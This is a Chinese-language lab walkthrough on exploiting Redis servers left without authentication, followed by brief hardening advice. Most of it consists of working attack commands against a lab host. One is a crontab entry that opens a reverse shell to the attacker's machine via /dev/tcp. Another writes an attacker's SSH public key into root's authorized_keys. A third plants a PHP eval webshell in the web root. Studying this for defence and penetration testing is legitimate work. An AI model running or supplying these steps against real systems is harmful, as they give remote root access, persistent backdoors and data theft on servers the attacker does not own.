Contents
  1. 1. 漏洞介绍
  2. 2. 配置环境
  3. 3. 基本命令
  4. 4. 漏洞利用
    1. 4.1. 写入crontab来建立反弹shell
    2. 4.2. 写ssh-keygen公钥然后使用私钥登陆
    3. 4.3. 向web目录写webshell
  5. 5. 安全配置

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。默认使用配置为6379端口

漏洞介绍

漏洞成因:

redis在配置文件时,将其保护模式关闭会导致必须要认证即可登陆

1
2
3
vim redis.conf
#bind 127.0.0.1
protected-mode no

危害

  • 可导致敏感信息泄露
  • 可以执行flushall 清空数据
  • 可以通过eval执行lua代码
  • 可以通过数据备份功能写入后门文件
  • 若Redis以root权限运行,可以向root账户写入SSH公钥文件,直接通过SSH登录受害服务器

配置环境

安装redis

1
2
3
4
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

将src目录下的redis-serverredis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

修改配置文件

vim redis.conf

#bind 127.0.0.1 允许远程连接

protected-mode no关闭保护模式

启动redis

1
redis-server redis.conf

关闭redis防火墙

1
service iptables stop

在攻击机上安装redis-cli 客户端

ubuntu/kali

1
apt-get -y install redis-tools

Centos

1
yum install -y redis

基本命令

远程连接redis 数据库

在本实验中我们使用默认端口6379,以及空密码

1
redis-cli -h 192.168.63.130
  • redis-cli -h 指定ip -p 指定端口 -a 指定密码

查看redis 信息

1
192.168.244.137:6379> info

删除redis数据库

1
192.168.244.137:6379> flushall

设置x的值为test

1
192.168.244.137:6379> set x "test"

查看所有键

1
192.168.244.137:6379> KEYS *

数据备份(保存数据库的内容到文件)

1
192.168.244.137:6379> save

该命令将在 dir目录中创建dbfilename文件,默认为在redis安装目录下创建dump.rdb文件

可以通过更改目录和文件名来进行文件写入

获取默认的redis目录和rdb文件名

1
2
192.168.244.137:6379> CONFIG GET dir
192.168.244.137:6379> CONFIG GET dbfilename

更改redis目录和rdb文件名

1
2
192.168.244.137:6379> config set dir /var/spool/cron/
192.168.244.137:6379> config set dbfilename root

此时再使用save指令,将会把redis数据库的内容保存到/var/spool/cron/root

漏洞利用

写入crontab来建立反弹shell

利用条件

  • redis以root权限启动

监听端口

1
nc -lvnp 1234

写入crontab

1
2
3
4
5
6
7
8
9
root@kali:~# redis-cli -h 192.168.244.137
192.168.244.137:6379> set x "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.244.139/1234 0>&1\n"
OK
192.168.244.137:6379> config set dir /var/spool/cron/
OK
192.168.244.137:6379> config set dbfilename root
OK
192.168.244.137:6379> save
OK

查看靶机中cron中文件

1568810063504

写入成功

攻击机成功获取反弹shell

1568810106543

写ssh-keygen公钥然后使用私钥登陆

利用条件

  • Redis服务使用ROOT账号启动
  • 服务器开放了SSH服务,而且允许使用密钥登录

生成密钥

1
ssh-keygen -t rsa

1568810435234

向靶机中写入公钥

1
2
3
4
5
6
7
8
9
10
11
root@kali:~/.ssh# cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrUcbDKIkHLS+qnA46dV3LnaT9qK1Jb+asP32/Gv3r3gdBht22YNyPc+27eAtq7TNbyfXOtLHud4WhbGWLTgQPypTWRW+DhQYXuey1X6g5hF2hVruOEl+VSyYVqyQOqlsUe49g6NNcnKE/Abl6vVejhA8LTiWqBEZlOz1HljIzaooskX3Ik41nE2+1de7ao+2sR5Gmw8rCh3AWiwoVcqimCVpod1GZbVM/8LV6b6x154DHUKOEW+pWLS5ggJXX+Bb6+O9fFoW9umPr061xuOYLw5EdIMcO4oiD6f/HxeyVciK13iobTYHuR/Hx6Kh2jM6HbXh9QzDTjMQjYbrG8k1H root@kali
root@kali:~/.ssh# redis-cli -h 192.168.244.137
192.168.244.137:6379> config set dir /root/.ssh
OK
192.168.244.137:6379> config set dbfilename authorized_keys
OK
192.168.244.137:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrUcbDKIkHLS+qnA46dV3LnaT9qK1Jb+asP32/Gv3r3gdBht22YNyPc+27eAtq7TNbyfXOtLHud4WhbGWLTgQPypTWRW+DhQYXuey1X6g5hF2hVruOEl+VSyYVqyQOqlsUe49g6NNcnKE/Abl6vVejhA8LTiWqBEZlOz1HljIzaooskX3Ik41nE2+1de7ao+2sR5Gmw8rCh3AWiwoVcqimCVpod1GZbVM/8LV6b6x154DHUKOEW+pWLS5ggJXX+Bb6+O9fFoW9umPr061xuOYLw5EdIMcO4oiD6f/HxeyVciK13iobTYHuR/Hx6Kh2jM6HbXh9QzDTjMQjYbrG8k1H root@kali\n\n\n"
OK
192.168.244.137:6379> save
OK

使用ssh私钥登陆

1
root@kali:~/.ssh# ssh root@192.168.244.137 -i id_rsa

1568810764172

向web目录写webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell

利用条件

  • 服务器开启web服务,并且有php环境(如果是java环境可以写入java版本webshell)

写入webshell

其中web目录根据实际情况而定

1
2
3
4
5
6
7
8
9
@kali:~# redis-cli -h 192.168.244.137
192.168.244.137:6379> set x "<?php eval($_POST[1]);?>"
OK
192.168.244.137:6379> config set dir /var/www/html/
OK
192.168.244.137:6379> config set dbfilename shell.php
OK
192.168.244.137:6379> save
OK

1568811197767

安全配置

绑定本地ip

将redis.conf中bind 127.0.0.1中注释去掉,这样就只能够本地访问了

设置密码

1
redis 127.0.0.1:6379> config set requirepass test123

修改默认端口

修改redis.conf文件中的端口

1
port 6379

修改后重启即可

配置防火墙规则

Contents
  1. 1. 漏洞介绍
  2. 2. 配置环境
  3. 3. 基本命令
  4. 4. 漏洞利用
    1. 4.1. 写入crontab来建立反弹shell
    2. 4.2. 写ssh-keygen公钥然后使用私钥登陆
    3. 4.3. 向web目录写webshell
  5. 5. 安全配置